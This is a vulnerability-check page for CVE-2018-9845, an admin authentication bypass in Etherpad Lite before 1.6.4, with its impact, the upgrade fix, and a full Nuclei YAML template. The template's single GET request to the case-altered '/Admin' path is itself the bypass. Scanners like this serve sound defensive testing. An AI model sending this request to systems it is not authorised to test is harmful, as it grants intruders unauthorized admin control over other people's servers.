Etherpad Lite <1.6.4 - Admin Authentication Bypass

criticalseverity

9.8CVSS score

12.7%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Etherpad Lite before 1.6.4 is exploitable for admin access.

Impact

An attacker can bypass the admin authentication and gain unauthorized access to the admin panel.

Fix

Upgrade to Etherpad Lite version 1.6.4 or later to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/Admin
Positive when: contains "Etherpad version" and "Plugin manager" and "Installed parts" AND status 200

Run it with nuclei: nuclei -id CVE-2018-9845 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-9845

info:
  name: Etherpad Lite <1.6.4 - Admin Authentication Bypass
  author: philippedelteil
  severity: critical
  description: Etherpad Lite before 1.6.4 is exploitable for admin access.
  impact: |
    An attacker can bypass the admin authentication and gain unauthorized access to the admin panel.
  remediation: |
    Upgrade to Etherpad Lite version 1.6.4 or later to fix the vulnerability.
  reference:
    - https://infosecwriteups.com/account-takeovers-believe-the-unbelievable-bb98a0c251a4
    - https://github.com/ether/etherpad-lite/commit/ffe24c3dd93efc73e0cbf924db9a0cc40be9511b
    - https://nvd.nist.gov/vuln/detail/CVE-2018-9845
    - https://github.com/ether/etherpad-lite/blob/develop/CHANGELOG.md
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-9845
    cwe-id: CWE-178
    epss-score: 0.12702
    epss-percentile: 0.96296
    cpe: cpe:2.3:a:etherpad:etherpad_lite:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: etherpad
    product: etherpad_lite
  tags: cve2018,cve,etherpad,auth-bypass,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Admin"

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Etherpad version"
          - "Plugin manager"
          - "Installed parts"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from